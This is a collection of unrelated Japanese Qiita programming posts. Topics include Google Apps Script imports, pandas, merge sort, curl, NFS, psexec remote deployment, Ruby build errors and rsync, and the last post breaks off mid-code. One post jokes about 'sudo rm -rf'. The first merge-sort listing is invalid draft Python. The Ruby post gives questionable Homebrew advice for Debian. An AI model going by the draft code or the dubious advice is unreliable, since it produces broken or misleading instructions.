OmniAICreator/Qiita-1.07M huggingface dataset:
クリーンアーキテクチャ個人的まとめ（Ⅴ部）

## クリーンアーキテクチャⅡ部
### 個人的概要

- ついに出て来る同心円


### ポイント
#### クリーンアーキテクチャ
- フレームワーク非依存
    システムがフレームワークの縛られずに、ツールとして使用できること
- テスト可能
    ビジネスルールはUI、DB、ウェブサーバーなどの外部部品が無くてもテストができること
- UI非依存
    UIはシステムの他の部分を変更せずに、簡単に変更できること
- DB非依存
    ビジネスルールはDBに依存せず、様々なDBの環境で置き換えができること
- 外部エージェント非依存
    ビジネスルールは外界のインターフェースについて何もしらない

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/682846/8fb58ac8-179d-3b8c-584d-ffa44015728a.png)
ExcelファイルをGoogle Spreadsheetへインポートする時に、自動で行挿入してくれるスクリプト

### 背景
以下問題を解決するためにスクリプトを書きました
- ExcelファイルをGoogle Spreadsheetにインポートする際の問題点
  - 既存のシートに直接データを上書きしてしまう
  - 手動で行の調整が必要となるため、作業効率が悪い

### 使用技術
- **Google Apps Script (GAS)** 

### 使用方法

1. **Excelファイルをアップロード**
   - GoogleDriveにインポートしたいExcelファイル(またはスプレッドシート)をアップロードし、スプレッドシート形式で保存

2. **ファイル名を記入**
   - スプレッドシートの"C1"セルに１で保存したファイル名を記入  
  
3. **GASの実行**

### 実装コード
```javascript
function importDataFromXlsx() {
  var ss = SpreadsheetApp.getActiveSpreadsheet();
  var sheet = ss.getActiveSheet();
  
  // "C1"セルからインポートするファイル名を読み取る
  var fileName = sheet.getRange('C1').getValue();
  
  // ファイル名でドライブのファイルを検索
  var files = DriveApp.getFilesByName(fileName);
  if (!files.hasNext()) {
    SpreadsheetApp.getUi().alert('ファイルが見つかりません: ' + fileName);
    return;
  }
  
  var file = files.next();
  var fileId = file.getId();
  
  // ファイルを取得し、変換されたスプレッドシートへの参照を得る
  var dataSpreadsheet = SpreadsheetApp.openById(fileId);
  var dataSheet = dataSpreadsheet.getSheets()[0];
  
  // 最初の行を除外してデータの範囲を取得
  var range = dataSheet.getDataRange();
  var values = range.getValues().slice(1);
  
  // スタート位置である"B5"のセルを取得
  var startCell = sheet.getRange('B5');
  var numRows = values.length;
  var numColumns = values[0].length;
  
  // レコード分の行を追加
  sheet.insertRowsAfter(startCell.getRow(), numRows - 1);
  
  // データを貼り付ける範囲を設定してデータを挿入
  var destinationRange = sheet.getRange(startCell.getRow(), startCell.getColumn(), numRows, numColumns);
  destinationRange.setValues(values);
  
  // 元のファイルをゴミ箱に移動
  file.setTrashed(true);
}
```

### あとがき
このスクリプトを通じて、ExcelファイルからGoogle Spreadsheetへのデータインポート作業を大幅に効率化できます。  
ChatGPTを使えば、少ない工数で自動化スクリプトが書けるので、どんどん自動化して陳腐化したらどんどん捨てましょう・。・b
Excelの差分情報をSkypeにチャットするツールを書いてみた

営業部員が都度更新しているExcelファイルがあります。
前回との差分を取得し、その変化を、**Skype**（TeamsもSlackも使っていないので…）の幹部グループにチャットするツールをPythonで書いてみました。

このプログラムはサーバ側で定期実行しています。

```python
"""
データ分析
新しいコードが採番されたら last.csv を削除すること
"""
def data_analysis():
    download_file = os.path.join(MyClass.download_path, '営業部が入力している.xlsx')
    while not os.path.isfile(download_file):
        time.sleep(3)

    if True:
        wb = op.load_workbook(download_file)
        wb.save(os.path.join(MyClass.download_path, '_営業部が入力している.xlsx'))
        download_file = os.path.join(MyClass.download_path, '_営業部が入力している.xlsx')

    current_file = os.path.join(MyClass.download_path, 'current.csv')
    last_file = os.path.join(MyClass.download_path, 'last.csv')
    message_file = os.path.join(MyClass.download_path, 'message.txt')

    # すでにあれば削除
    if os.path.isfile(message_file):
        os.remove(message_file)

    df = pd.read_excel(download_file, usecols=['コード', '品名', '数'], engine='openpyxl')
    df.to_csv(current_file, index=False, encoding='utf-8-sig')

    # 前回のファイルがあれば、それとの差分を得る
    if os.path.isfile(last_file):
        df2 = pd.read_csv(last_file)

        # いわゆる外部結合
        merged_df = pd.merge(df, df2, on='コード', suffixes=['_current', '_last'], how='outer')
        merged_df['数_current'] = merged_df['数_current'].fillna(0).astype(int)
        merged_df['数_last'] = merged_df['数_last'].fillna(0).astype(int)
        merged_df = merged_df[merged_df['数_current'] != merged_df['数_last']]

        with open(message_file, mode='a', encoding='utf-8') as f:
            for _, row in merged_df.iterrows():
                name = row['品名_current'] if pd.isna(row['品名_last']) else row['品名_last']
                riseOrFall = '減りました' if row['数_last'] > row['数_current'] else '増えました'
                if row['数_current'] < 10:
                    f.write(f"\n{row['コード']} {name} の数が {row['数_last']} から {row['数_current']} に{riseOrFall}")

    # 次回の差分抽出用に、前回ファイルを作成
    shutil.copyfile(current_file, last_file)
```

```python
"""
転送
"""
def transfer():
    message_file = os.path.join(MyClass.download_path, 'message.txt')
    mes = None
    if os.path.isfile(message_file):
        with open(message_file, encoding='utf-8') as f:
            mes = ''.join(f.readlines()[1:101])

    # Skype 送信
    sk = Skype('foo@example.com', 'password')
    ch = sk.chats.chat('99:xxxxxxxxxxxxxxxxxxxxxx@thread.skype')

    if not mes:
        ch.sendMsg('数が10未満の品目で増減はありません')
        return

    ch.sendMsg(mes)
```

いちいちExcelを開いて確認しなくても良くなったと幹部らに喜ばれています！

ん？解説が無さ過ぎて何をしているか分かり難い？ ChatGPTに聞いて下さい :bow:
手っ取り早く Curl で hosts を変える方法 (メモ)

/etc/hosts を書き換えなくても、curl コマンドだけで hosts を書き換えてリクエストを送る方法です。

頻繁に使っているけれど、毎日じゃないので、いつも忘れてググっているので、自分用メモです。

フォーマット

```
curl --resolve [ドメイン]:80:[IP アドレス] http://[ドメイン]
curl --resolve [ドメイン]:443:[IP アドレス] https://[ドメイン]
```

例1: 基本

example.com へのリクエストを 127.0.0.1 に向けてなげる

```
curl --resolve example.com:80:127.0.0.1 http://example.com
```

例2: 例1に加え Cookie `"CONCRETE_LOGIN=1;CONCRETE=XXXXXXX"` を追加

```
curl --cookie "CONCRETE_LOGIN=1;CONCRETE=XXXXXXX" --resolve example.com:80:127.0.0.1 http://example.com
```

例3: 例2に加え、出力をせず (-o /dev/null)、プログレスやエラーメッセージを出さず (-s) バイト数だけ表示する ( -s -w %{size_download})

```
curl -o /dev/null -s -w %{size_download} --cookie "CONCRETE_LOGIN=1;CONCRETE=XXXXXXX" --resolve example.com:80:127.0.0.1 http://example.com
```

例4: 例3に加え、Basic 認証 (ID が `user`、パスワードが `pass`) を追加

```
curl -o /dev/null -u user:pass -s -w %{size_download} --cookie "CONCRETE_LOGIN=1;CONCRETE=XXXXXXX" --resolve example.com:80:127.0.0.1 http://example.com
```
Ubuntu NFS mount

# Ubuntu 22.04 に NAS の共有フォルダを開く（備考録

Ubuntu 22.04 に NAS の共有フォルダを設定（NFS）
### NAS
> name: truenas.local ※ IP(xxx.xxx.xxx.xxx)でも良い
> 共有元 /Academic/Studies

### PC
> 共有先 /mnt/Academic/Studies
> username: <username> 適宜修正してください

## autofs 

``` cmd: install autofs
    $ sudo apt install autofs -y
```

``` /etc/auto.creds/truenas.local
    # dir 作成 # mkdir + chmod 
    $ sudo install -d -m 0755 -o <username> -g root /etc/auto.creds
    
    # NAS 認証設定
    $ sudo nano /etc/auto.creds/truenas.local
    username=<nas username for auth>
    password=<password for auth>
    # domain=<domain *optional>
```

``` /etc/auto.master.d/truenas.local.autofs
    $ sudo nano /etc/auto.master.d/truenas.local.autofs
    
    # 下記1行を記述
    /-      /etc/auto.master.d/auto.truenas.local --timeout 60
    #--Save(Ctrl+S) Close(Ctrl+X)
```


``` cmd: mkdir + chmod  ### 共有フォルダのマウント先フォルダ作成（再帰）
    $ sudo install -d -m 0755 -o <username> -g root /mnt/Academic/Studies
```

``` /etc/auto.master.d/auto.truenas.local
    $ sudo nano /etc/auto.master.d/auto.truenas.local
    
    # 下記1行を記述
    /mnt/Academic/Studies -rw,soft,intr,rsize=8192,wsize=8192     truenas.local:/Academic/Studies
```

``` cmd: reboot autofs ### 再起動 # require sudo ? 
    $ systemctl restart autofs

これで /mnt/Academic/Studies に共有元のファイルなどが表示されていれば成功！
ClojureのDELETEのリクエストをするとclass clojure.lang.PersistentArrayMap cannot be cast to class [B (clojure.lang.PersistentArrayMap is in unnamed module of loader 'app'; [B is in module java.base of loader 'bootstrap')

# はじめに

ClojureでDELETEリクエストをしようとして時間がかかったのでまとめます

# 問題

以下のようなコードでDELETEリクエストをしました
ここではボディも一緒に送っています

```clj
(defn- delete [test-api id]
  (let [uri (test-api.url/build-url (assoc test-api :path (str "/v2/hoge/" id)))]
    (->> {:body {:user "fuga"}}
         (merge default-request-options)
         (client/delete uri))))
```

しかし以下のエラーが出てしまいました

```
java.lang.ClassCastException: class clojure.lang.PersistentArrayMap cannot be cast to class [B (clojure.lang.PersistentArrayMap is in unnamed module of loader 'app'; [B is in module java.base of loader 'bootstrap')
```

# 解決方法

そもそもボディには文字列しか遅れないことに気づきました
そこでjsonを文字列にして送ったところうまく行きました

```clj
(defn- delete [test-api id]
  (let [uri (test-api.url/build-url (assoc test-api :path (str "/v2/hoge/" id)))]
    (->> {:body "{\"suser\":\"fuga\"}"}
         (merge default-request-options)
         (client/delete uri))))
```

# おわりに
Clojure全然わからなくてデバックも一苦労です。もっとできるようになりたいです。

# 参考

https://github.com/dakrone/clj-http?tab=readme-ov-file#delete
アウトプットの習慣を作ってみる(vim)

discord でスレッドを立てて覚書をしてみたら、知識がすごい定着したので、ちょこちょこ記事も出してみようかと。
恥は$ sudo rm -rf してきました。
# vim
特に書くこともないので、この前触ったvimの感想を。
- vimとは
1. vimってなんぞや
テキストエディタの一種。特徴として、
    - 軽い
    - ターミナルから起動できる
    - キーボードをメインとした独特の操作感

    が挙げられます。かなり癖が強いです。
    nanoみたいに、ターミナルから起動できて軽いので、.bash_aliasesとかを編集するときに役立ちます。

1. vimの操作について
    vimの操作は結構独特です。
    ```
    - d, D（削除）
    - y, Y（ヤンク）
    - p, P（ペースト）
    - u, ctrl+R（戻る、進める）
    - r, R（変更）
    - <, >（インデント）
    - a, A, I, o, O (移動してインサートモード）
    - c, C（削除してインサートモード）
    ```
    という「操作」と、
    ```
    - h, j, k, l（←、↓、↑、→のキーに対応）
    - w, e, b, 0, $, gg, G, %（特殊な移動）
    ```
    の、「移動」のコマンドを組み合わせて使います。
    ex) ```d+j```で、現在の行とその下の行を削除できます。<br><br>
1. モードについて
    vimには、
    1. ノーマルモード
    1. インサートモード
    1. コマンドモード
    1. ヴィジュアルモード

    が備わっています。
    先ほどのキー入力は、すべてノーマルモードで行う必要があります。
    インサートモードは、テキストを編集することができます。コマンドモードでは、vimやシェルのコマンドが使えます。ヴィジュアルモードはあまり使ってません。範囲指定に使えるそうです。
    
    ノーマルモードとインサートモードさえ覚えておけば何とかなります。インサートモード以外では、普段通りのテキストの編集ができません。
    `backspace`キーで文字が消せないので、すごい焦ります。

こんな感じです。もっといろいろ記事書いて文章力を養いたいです。
df[[]] と df[]の違い

## 列の場合
```python
df[["Adj Close"]]    # データフレーム

df["Adj Close"]      # シリーズ
```

![df[]とdf[[]]の違い2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3714559/1410e9cb-1b5a-4819-b864-254bd24cfa4e.png)
![df[]とdf[[]]の違い1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3714559/3611dd68-2319-89f2-2c9a-cc4488c9c4d3.png)

## 行の場合
```python
df.loc[["Sato"]]     # データフレーム

df.loc["Sato"]       # シリーズ
```
![スクリーンショット 2024-07-15 16.50.11.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3714559/b54db582-1543-8d9d-e23e-5b3ba0ef8fc1.jpeg)

## おまけ
```python
df.loc['Sato','height']
# 結果
180
```
重要なのは、`df.loc[]`の括弧の中は
先に、`index`の要素
後に、`columns`の要素

逆だと、エラーになるようだ。
マージソート

https://paiza.jp/works/mondai/sort_efficient/sort_efficient__merge

```py
# アルゴリズムが正しく実装されていることを確認するために導入するカウンタ変数、ソート処理には関係がないことに注意
# 番兵は番兵(sentinel：センチネル！)は、プログラミングにおいて配列の最後に設置される特別な要素のことを指す。
# この要素は、通常の値と異なる値を持ち、配列の最後尾に置かれることが多い。
#left,rightの数値ってどこで決める？

count = 0

def merge(A, left, mid, right)
"""
    部分データ列 A[left] ~ A[mid-1], A[mid] ~ A[right-1] はそれぞれ整列済み
    2つの部分データ列をマージし、A[left] ~ A[right-1] を整列済みにする
"""
    # 2つの部分データ列のサイズ
    nl = mid-left
    nr = right-mid

    # 部分データ列をコピー
    for i in range(0,nl):
        L[i] = A[left+i]
    for i in range(0,nr):
        R[i] = A[mid+i]
    
    # 番兵ｰ>配列の最後に置く無限大を表す数字のこと。それぞれL,Rの配列の最後に置く
    # https://note.nkmk.me/python-inf-usage/
    L[nl] = [float('inf')]
    R[nr] = [float('inf')]
    
    # 2つの部分データ列をマージして A[left] ~ A[right-1] に書き込む
    lindex = 0
    rindex = 0

    for i in range(left,right):
        if L[lindex] < R[rindex]:
            A[i] = L[lindex]
            lindex++
        else:
            A[i] = R[rindex]
            rindex++
            count++


def merge_sort(A, left, right)
"""
    A[left] ~ A[right-1] をマージソートする
    配列 A をマージソートするには merge_sort(A, 0, n) を呼び出す
"""
    if left+1 < right:
        mid = (left + right) / 2
        merge_sort(A, left, mid)
        merge_sort(A, mid, right)
        merge(A, left, mid, right)


# 入力
n = int(input())
A = [int(x) for x in input().split()]

#left,rightの数値ってどこで決める？

```

ひとまずやり方はわかったのですが、
下の再帰関数のメソッドがわからず。
上にもある通り、まずそもそもleft,rightの数値をどこで決めるのか？
というところがわからず。
時間も時間になってしまったので、ギブして答えを見ました。

答えを見たあと説明を見ると
<b> 配列 A をマージソートするには merge_sort(A, 0, n) を呼び出す</b>
ってこれかよ！って。
つまり最初のleftは0，rightはnですね。
つまり左端と右端の要素ってことだ。
でメソッドの中では配列を再帰で分割していっている。
最初は左、次は右。
で最後にマージ。

[float('inf')]は、とりあえず書き方はあるのだが、
別にこれはこう描かなくても、1000000001でもOK.
要するにありえない数値を書くってことで。

内容が理解できたところで、書き直し

```py
count = 0
INF = 1000000001


def merge(a, left, mid, right):
    global count
    #結局lは左端から中央、rは中央から右端
    #でそのおしりに門番としてありえない数値をいれる

    l = a[left:mid]
    r = a[mid:right]
    l.append(INF)
    r.append(INF)

    # 2つの部分データ列をマージして A[left] ~ A[right-1] に書き込む
    lindex = 0
    rindex = 0

    for i in range(left, right):
        if l[lindex] < r[rindex]:
            a[i] = l[lindex]
            lindex += 1
        else:
            a[i] = r[rindex]
            rindex += 1
            count += 1


def merge_sort(a, left, right):
    if left + 1 < right:
        mid = (left + right) // 2
        merge_sort(a, left, mid)
        merge_sort(a, mid, right)
        merge(a, left, mid, right)


n = int(input())
a = list(map(int, input().split()))

merge_sort(a, 0, n)

print(*a)
print(count)

```

以上。
仕事を依頼する際のコミュニーケーションミスを減らす方法を考えた

## 概要
自分以外の人に仕事を依頼する際にコミュニケーションミスがあり、改善する方法を検討したので記事として残します。

## 状況
- 自分以外の人に対して、仕事を依頼することを想定します
- 仕事を依頼する相手は、同じプロジェクトのメンバー(プロジェクトについては自分と同じぐらいの理解度)とします

## 発生した問題
- こちらが想定している意図、仕事の内容が正しく伝わっていないこと
- その結果として、こちらの意図しない成果物が提出されること

## 問題の原因について考える

問題は想定している意図・仕事の内容が正しく伝わっていないことですが、その原因は以下の通り依頼する側・依頼される側それぞれにあると考えます。
1. 想定している意図・仕事の内容を伝えていない、もしくは伝えた情報に不足があること(仕事を依頼する側)
2. 十分な情報を伝えたが、受け取った側が異なる解釈をした、もしくは理解できていない部分があるまま作業に取り組んだこと(仕事を依頼された側)

### 原因1の場合
情報の伝え忘れ、もしくは伝えた情報の不足が原因である場合、情報を確実に伝えられる仕組みを作ることが対策として考えられます。
例: 
- 仕事を依頼する際作成するチケット用に、必要な情報を記入する欄を用意したテンプレートを作成する
    - テンプレートの中に、以下のような現状と作業後のサンプルを入れることも有効かもしれません

現状のレスポンス
```json
{
    "status": 404,
    "message":"エラー" 
}
```
修正作業後のレスポンス

```json
{
    "status": 404,
    "message":"ユーザーが見つかりません"
}
```


:::note warn
仕事を依頼する側が内容を明確に把握できていない場合、伝える情報が不足する、間違った情報を伝えるなど別の問題が発生する可能性もあります。
そのような場合は、依頼する仕事周りの状況を詳しく知っている人に確認をとり、不明点をなくした上で依頼をするなどの対策が別途必要です。
:::

### 原因2の場合
情報を伝えられた側の理解に問題がある場合、理解した内容を細かく確認することが対策として考えられます。
例:
- 仕事の成果物を早めの段階で確認し、その後も定期的に認識にズレがないか確認する
- チャットなど文章のみでのやり取りではなく、Webミーティングなどを利用し相手の反応を見ながら情報が伝わっているか確認する

:::note warn
上記の原因2に対する対策は相手依存な面があるため、他の対策と合わせて実施することが望ましいでしょう。
:::


## まとめ
- 仕事を依頼する際のコミュニケーションミスの原因は、以下のように依頼する側・依頼される側の両方にあると考えました
    1. 情報の伝達ができていない、もしくは伝達した情報が不足していること
    2. 十分な情報を伝達したが、受け取った側が異なる解釈をした、もしくは不明点があるまま作業に取り組んだこと
- 原因に応じて様々な対策が考えられますが、メリットしかない対策はありません
    - 複数の対策を併用することでより効果的に、かつそれぞれの対策のデメリットを低減してコミュニーケーションミスを減らしましょう
ネットワーク越しの多数ファイルコピーが遅いので、圧縮し送って相手側で展開した

# ネットワーク越しの多数ファイルコピーが遅い

600～1000個くらいのファイルを遅めのネットワーク越しに送ることがよくある。
相手PCの特定のフォルダに置かれているべき設定ファイル一式、みたいなの。
これが遅くて、時間帯によっては5分くらいかかることもある。
完了まで見守るのがイヤ。

まとめてコピーしても実際の処理は1個ずつやってるんで遅いようだ。
アーカイブして送って、相手側で展開すれば早いよな。というわけで考える。

# 方針

ひとまずzipにまとめて相手側へコピーして単純に展開操作してみる。
遅い。
この操作だと相手側にあるzipを手元PCで展開して相手側へ保存してるので、1個ずつコピーしてるのと同じことである。

1.相手側へアーカイブを保存
2.相手側でアーカイブを展開
こうしなければ解決できない。

## 相手側へアーカイブを保存

権限あるので、管理共有使って送るだけ。
```
set /p HOSTNAME=
copy /y InitialSettings.zip \\%HOSTNAME%\c$\folder
```

## 相手側でアーカイブを展開

ここでしばらく悩んだ。
コマンドプロンプトの標準的な範囲でzipファイルは取り扱えない。
あれこれ追加すればできるものの、「相手側で」実行できなければならないので、相手側に余計な設定やファイルは残したくない。
PowerShellなら`Expand-Archive`で展開できるが、PowerShellは実行ポリシーとか相手側で実行とかが面倒だ。そもそもPowerShell使うなら最初から全部PowerShellで書きたいしいまさら（意地）。

ここは7-zipコマンドライン版を使うことにする。
https://7-zip.opensource.jp/howto/non-install-extract.html
単体で動作するので、7za.exeを相手側へコピーして、相手側で実行して、終わったら削除すればよい。

## 相手側で実行する
相手側でアーカイブ展開処理を実行するには、毎度おなじみpsexecを使う。
相手側で実行したい処理を別のbatに書き、`-c`オプションを付けてやれば、「バッチをコピーして、相手側で実行」してくれる。

PsExec - Sysinternals
https://learn.microsoft.com/ja-jp/sysinternals/downloads/psexec

```psexecで相手側でバッチ実行
psexec \\%HOSTNAME% -c bat2.bat
```

```bat2.bat
@echo off
cd c:\folder
7za x -y InitialSettings.zip

del 7za.exe
del InitialSettings.zip
```

# できあがり

```bat1.bat
@echo off
setlocal
cd %~dp0

echo 設定ファイルアーカイブをコピー 対象HOSTNAME入力
set /p HOSTNAME=
copy /y InitialSettings.zip \\%HOSTNAME%\c$\folder
copy /y 7za.exe \\%HOSTNAME%\c$\folder

psexec \\%HOSTNAME% -c bat2.bat

echo 終了確認 キー入力で終了
PAUSE
```

```bat2.bat
@echo off
cd c:\folder
7za x -y InitialSettings.zip

del 7za.exe
del InitialSettings.zip
```

数秒で終わるようになった。満足。
よく使うnvmコマンド

アプリ間でNode.jsのバージョンに差異があるときに、よく使っているnvmコマンド。

## 前提
### 想定ケース
- applicationごとにNode.jsに差異がある
- Node.jsのバージョン切り替えが発生する

## コマンド一覧
### 入手可能なNode.jsバージョンを一覧表示する
```nvm:コマンド
nvm list available
```

### 指定したNode.jsバージョンをインストールする
```nvm:コマンド
nvm install <バージョン名>
```

### `nvm install`したことあるNode.jsバージョンを一覧表示する
```nvm:コマンド
nvm list
```

### 指定したNode.jsバージョンに切り替える
```nvm:コマンド
nvm use <バージョン名>
```

## 参考
### nvmのバージョン
1.1.12

### OS
Windows 11 Home 21H2 Edition

### nvm
[nvm-windows](https://github.com/coreybutler/nvm-windows/releases)
トライステップと値判定のエラー処理を整理する

## はじめに
ロボット開発初心者の心を忘れない（忘れられない）人です。
BizRobo!の開発で、最初に頭の上に大きな **？** が出たのが**トライステップと値判定のエラー処理**です。だって、何が言いたいか分かんないんですもん。（今は分かります。）
そんな同じ気持ちをお持ちのあなたに、トライステップと値判定のエラー処理の流れについて、整理の意味を込めて説明してみたいと思います。

:::note warn
以降の記述はBizRobo!11.4、ベーシックエンジンロボットを元にしています。
:::

## トライステップ
トライステップはこんなやつです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3617070/d6376148-4e27-870e-60b4-0aea063e1a0c.png)
そして「ヘルプ」の説明はこんな感じ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3617070/da88204d-0270-87bc-93e7-b41e809f722d.png)
志村けんバリに「あんだって？？」って言いたくなるのは私だけでしょうか。（読解力がないという話もありますが）
まぁ、簡単に言えば「トライ」なので、1番目にやった事がダメなら2番目、それもダメなら3番目。。。って感じで、上からどんどん試してみて、というやつです。

### トライステップのエラー処理
これが良く分からなくて身もだえしました。トライステップのエラー処理はこんな感じで準備されています。
![2024-02-20_21h16_25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3617070/ff323739-740b-629b-cd01-ff03076fe1d1.png)
トライステップって、何にも判断してないステップなんですよ、にもかかわらずエラーって何をもって判断してんだ？って思いませんか？（私はここで引っかかりました。）ここでのエラーは、**トライする選択肢が全部ダメだった/それ以降のステップに進めなかった**です。そんなことあるんか？って思いますが、あるからエラー処理が設定できるんですね。
ちなみに、**次の処理**のそれぞれの意味合いは以下の通りです。
|処理の名前|動き|
|:----|:----|
|後続のステップすべてをスキップ|このままです。これ以降のステップをすっ飛ばします。|
|次のトライステップへ移動|別のトライステップに移動できます。移動するトライステップは選択することができます。|
|次のイテレーションへ移動|ループの次の行に移ります。|
|ループ終了|そのままです。ループ処理を終了します。|

どの選択肢もダメだったという事はあまりお目にかからないので、どこかの選択肢は必ず通ると考えると、一番多く使うのは**ループ終了**かな、と思います。

## 値判定
値判定のステップはこんな感じです。トライステップの後によく出現します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3617070/0eaa8631-360b-58a1-544f-03934ed217b0.png)
こちらも「ヘルプ」を載せておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3617070/6f293185-b90d-0298-c58c-d6bbde85e1e0.png)
トライステップよりは、まだ何が言いたいか分かります。
簡単に言えば、値判定ステップに判定方法を仕込んで、OKなら先のステップに通してあげる、NGならここから先は通せんぼ、という事です。

### 値判定のエラー処理
値判定のエラー処理も見てみましょう。
![2024-02-20_21h37_36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3617070/3db8578c-27ac-691d-95a5-46b0b782281f.png)
**無視して続行**の処理が、いまだにどんな場面で使うのか分からない。。。無視するなら判定すんなやって思うのは私だけですか。。。？

ここで特徴的なのが**次のトライステップへ移動**です。ここで混乱するんです。値判定はトライステップとセットで使う事が多い、という話は既にしていますが、そのせいか値判定がトライステップの中のものと感じてしまい、「次のトライステップ」と言われると、直前のトライステップとは別のトライステップに移動するのかと、勘違いしていたんです。（私の解釈違いなんですけど）同じような感じで混乱されてる方いませんか？ようは、ここがダメなら次の選択肢に行け、という事で下図のイメージが**次のトライステップへ移動**です。
![2024-02-20_21h40_26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3617070/49d436ff-685f-4b39-9f1c-c43dbf0191c9.png)
ここでも、**次の処理**の意味合いをがっつり抑えておきましょう。
|処理の名前|動き|
|:----|:----|
|後続のステップをすべてスキップ|読んで字の如くこの後のステップは吹っ飛ばします。|
|無視して続行|判定結果に関わらず、この後のステップに進みます。|
|次のトライステップへ移動|これは上の図をご覧ください。|
|次のイテレーションへ移動|ループの次の行に移ります。|
|ループ終了|そのままです。ループ処理を終了します。|

## まとめ
ロボット作成に慣れてくると、どうってことはないんですが、最初の段階で「はぁ？？」となるところ、結構あるかもしれません。私、結構ありました。そんなところを乗り越えていくと、ロボットを作るのが楽しくなってきます。他にも「はぁ」？？となる部分があれば教えてください。多分私も躓いてるところだと思いますので、私なりに分かりやすく解説したいと思います。
【メモ】BUILD FAILED (Debian 12 on x86_64 using ruby-build 20240119)の解決方法

## はじめに
AWSのLightsailを用いてRubyの学習環境を整えようと奮闘していた最中であった。
rbenvをインストールするところまでは良かったのに、いざ最新バージョンのruby3.3.0(2024/02/20現在)をインストールしようとしたら、3度もビルドに失敗したのでそれぞれのエラーに対する処置を隠すことなくここに書き留めておこうと思う。
なお、使用していたOSはDebian12だが、同系統のUbuntuでも同様な対処が可能と予想する。

ちなみにrbenvコマンドを使うと以下のようにバージョンを選択してインストールが可能。

```:
$ rbenv install 3.3.0
```

## 1度目のエラー
まぁ何事も初めてのエラーに対してはあいさつのようなものだと思って淡々と対処していく。
ログを見てみると、以下のようなfatal errorが見つかった。
```:log
crypto/comp/c_zlib.c:36:11: fatal error: zlib.h: No such file or directory
```
zlib.hというファイルが見当たらなくて困っているようだったので、色々調べてみたら以下のコマンドで解決できることが判明。
```:command
$ sudo apt-get install libz-dev
```

## 2度目のエラー
またエラーが発生した、、、。
ログを見てみると、前回とは違うメッセージが出ていたので進展はあったようだと一安心。
```:log
missing libffi. Please install libffi or use --with-libffi-source-dir with libffi source location.
```
libffiが見つからないのでインストールしてねと言われてしまったので、言われたとおりに以下のコマンドを実行してlibffi-devをインストール。
```:command
$ sudo apt-get install libffi-dev
```

## 3度目のエラー
またまたエラーが出てきた。
今回は指定の場所にOpenSSLライブラリが見つからないとのこと。
```:log
OpenSSL library directory could not be found in '/home/admin/.rbenv/versions/3.3.0/openssl/lib'
```
何が足りないのか一度で教えてくれるものがあったらいいのにと思いつつも、以下のコマンドを実行してOpenSSLをインストール。
```:command
$ brew install openssl
```

## 成功
3度目の正直でようやくruby3.3.0のインストールに成功しました。
インストールだけで1時間以上かかるという話も聞くので、これからrubyを一からインストールする場合は、上のコマンドを忘れずに実行しようと思う。

## 参考記事
https://stackoverflow.com/questions/18148075/compilation-error-missing-zlib-h
https://askubuntu.com/questions/626138/unable-to-locate-package-libffi-dev
https://codenote.net/mac/homebrew/2134.html
Pythonで合成関数を実装する

## 動機
コードを書いているとよく
```python
list(filter(map(...)))
```
みたいな関数が連続したものに出会います。
大抵コードは左上から読んでいくので, こうしたものもlist->filter->mapの順で読みたくなりますが, 実際は逆順に適用されるので混乱しやすいです。
```bash
cut hoge.tsv | uniq | sort
```
こんな感じでシェルスクリプトのように書けたら見やすいかなと思ったりします。
## 実装
```python
class CompositableFunction:
    def __init__(self, function):
        self.function = function
    
    def __call__(self, *args, **kwargs): # ()を後ろにつけたときに呼ばれる.
        return self.function(*args, **kwargs)
    
    def __or__(self, other): # |演算子
        return CompositableFunction(lambda *args, **kwargs: other(self(*args, **kwargs)))
    
    def __ror__(self, other):
        return CompositableFunction(lambda *args, **kwargs: self(other(*args, **kwargs)))
```
呼び出すときは
```python
newfunc = CompositableFunction(func) # 新しく関数オブジェクトを作る.

@CompositableFunction # デコレータで呼び出す.
def func(*args, **kwargs):
    pass
```
のような感じで使えます。
functools.partialで部分関数を定義すればもうちょっと使いやすいと思います。
## サンプルコード
```python
ls = [2, 1, 0]
sub = CompositableFunction(lambda arr, x: [i - x for i in arr])
@CompositableFunction
def mul3(arr):
    return [i * 3 for i in arr]

print((sub|mul3|sorted)(ls, 1))
# [-3, 0, 3]
```

## 問題点
関数を合成してしまうと, 元の関数の引数の名前が*args, **kwargsに置き換えられてしまうのでエディタとかが使いにくくなります。
rsync コマンドでディレクトリを同期する時は末尾のスラッシュを忘れずに

# コマンド例

`rsync -av from_dir/ to_dir/`

## ポイント

- `-av` オプションを付ける
- それぞれのディレクトリ末尾にスラッシュ `/` をつける

こうすると期待通り動く
(だいたいの場合に僕らが思い描く期待)

つまり `from_dir` がそのまま `to_dir` に同期される

# スラッシュを付けない場合

以下だとディレクトリ構造がネストしてしまい `to/from` ディレクトリに同期されてしまう

`rsync -av from_dir to_dir`

# -av フラグとは

>「-rlptgoD」と指定したのと同様の効果。元のパーミッションやグループなどを保持したまま同期できるので、基本的に付加しておくのがよい。アーカイブモードとも呼ばれる

https://www.itmedia.co.jp/enterprise/articles/0804/21/news013.html

# バージョン

- rsync  version 2.6.9  protocol version 29

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ


# プロフィール・経歴

https://github.com/YumaInaura/YumaInaura
ピクセルの描画と座標・色の考え方



## 関連記事

https://qiita.com/yokan/items/788d352ccb72182f87bb

# 開発環境
- Windows11
- Visual Studio 2022
- DXライブラリ Ver3.24d

# １ピクセルの表示
まずは１ピクセルだけ画面に表示します。`DrawPixel`関数は指定した座標にピクセル単位で色を描画するための関数です。

```cpp
#include "DxLib.h"

int WINAPI WinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpcmdLine, _In_ int nCmdShow )
{
    // ウィンドウモード
    ChangeWindowMode( TRUE );

    // DXライブラリの初期化
    if( DxLib_Init() == -1 )
    {
